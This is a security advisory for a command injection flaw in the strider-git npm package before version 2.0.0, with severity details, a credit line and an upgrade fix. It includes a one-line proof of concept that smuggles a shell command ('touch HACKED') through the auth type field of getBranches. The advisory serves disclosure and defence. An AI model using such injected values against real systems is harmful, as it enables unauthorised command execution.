Command Injection Affecting strider-git package, versions <2.0.0


Severity

Recommended
0.0
critical
0
10

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Exploit Maturity
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  • Snyk IDSNYK-JS-STRIDERGIT-572913
  • published7 Jul 2020
  • disclosed21 Jun 2020
  • creditMik317

Introduced: 21 Jun 2020

CVE NOT AVAILABLE CWE-78  (opens in a new tab)

How to fix?

Upgrade strider-git to version 2.0.0 or higher.

Overview

strider-git is a Strider provider for git repositories

Affected versions of this package are vulnerable to Command Injection.

PoC

var git = require("strider-git/lib");
git.getBranches({auth:{type:'ssaas;touch HACKED; ', privkey:'sss'}, url:'http://sss'}, '', function(){})

CVSS Scores

version 3.1